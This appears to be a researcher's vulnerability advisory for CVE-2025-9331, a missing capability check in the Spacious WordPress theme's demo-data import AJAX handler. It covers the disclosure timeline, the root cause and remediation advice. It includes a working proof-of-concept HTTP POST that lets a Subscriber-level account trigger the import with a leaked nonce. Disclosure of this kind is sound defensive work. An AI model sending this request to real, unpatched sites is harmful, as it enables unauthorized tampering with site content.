CVE-2025-9331 impacts the widely used Spacious WordPress theme, currently active on over 30,000 sites. At its core lies a missing authorization check in the theme’s demo data import functionality. Normally, executing the “Import Demo Data” operation should be restricted to high-privileged users such as Administrators or Editors. However, due to an exposed nonce delivered via wp_localize_script, even Subscriber-level accounts can trigger the import_button AJAX action, enabling them to import arbitrary demo content and potentially manipulate site configuration or inject malicious data without proper oversight.
| CVE | CVE-2025-9331 |
| Plugin Version | Spacious <= 1.9.11 |
| Critical | High |
| Active installations | 30 000+ |
| Publicly Published | September 5, 2025 |
| Last Updated | September 5, 2025 |
| Researcher | Dmitrii Ignatyev |
| PoC | Yes |
| Exploit | No |
| Reference | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9331 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/spacious/spacious-1911-missing-authorization-to-autheticated-subscriber-demo-data-import |
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Timeline
| August 7, 2025 | Plugin testing and vulnerability detection in the Spacious have been completed |
| August 7, 2025 | I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing |
| September 5, 2025 | Registered CVE-2025-9331 |
Discovery of the Vulnerability
During a comprehensive white-box review, researchers observed that Spacious localizes a security nonce for the import function in the public-facing JavaScript, making it accessible to any logged-in user. The AJAX endpoint bound to wp_ajax_import_button verifies only this nonce but neglects to check the user’s capability. Because Subscribers receive the nonce in their page context, they can craft a valid POST request to the admin-ajax.php endpoint, bypassing intended privilege boundaries. This oversight constitutes a classic authorization failure: the application trusts the client’s possession of a nonce without verifying whether the client actually has permission to perform the import.
Understanding of Missing Auth. attack’s
WordPress security best practices mandate that sensitive actions require both a valid nonce and an appropriate capability check via current_user_can(). Missing authorization issues have historically led to significant breaches, such as CVE-2021-24292 in the Post SMTP plugin, which allowed Subscriber-level users to send arbitrary emails, and CVE-2022-0455 in the User Role Editor plugin, leading to privilege escalation. In both cases, developers relied solely on nonces or insufficient checks. In Spacious, the reliance on a single nonce without current_user_can('manage_options') or similar checks follows the same flawed pattern, granting unintended access to low-privileged roles.
Exploiting the Missing Auth. Vulnerability
To exploit CVE-2025-9331, an attacker with Subscriber+ cookies:
POC:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://127.0.0.1/wordpress/wp-admin/themes.php Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 40 Origin: http://127.0.0.1 Connection: keep-alive Cookie: Subscriber+ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin action=import_button&_wpnonce=nonce_from_profile.php____
In a live environment, this flaw permits Subscriber-level users—often default roles for new registrants or commenters—to import unvetted content. A threat actor could automate registrations at scale, then trigger the import to inject phishing pages, defacement content, or stealth backdoors. On membership or community sites, reputational damage and data theft could follow, as malicious scripts execute under the guise of legitimate theme features. Furthermore, attackers might leverage the import feature to overwrite critical options, disable security plugins, or expose sensitive information via crafted demo pages.
Recommendations for Improved Security
To remediate CVE-2025-9331, the Spacious development team must enforce capability checks in the AJAX handler before proceeding with any import logic. Specifically, after nonce validation with check_ajax_referer('spacious-import', '_wpnonce'), the code should call current_user_can('manage_options') or an equivalent high-level capability. Additionally, nonces for administrative tasks should not be exposed to low-privileged roles via wp_localize_script on public pages. Site administrators should update to the patched version immediately, review user registrations for suspicious accounts, and monitor import logs for unauthorized activity until the fix is applied.
By taking proactive measures to address Missing Auth. vulnerabilities like CVE-2025-9331 WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.
#WordPressSecurity #MissingAuth #WebsiteSafety #StayProtected #HighVulnerability
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Dmitrii I.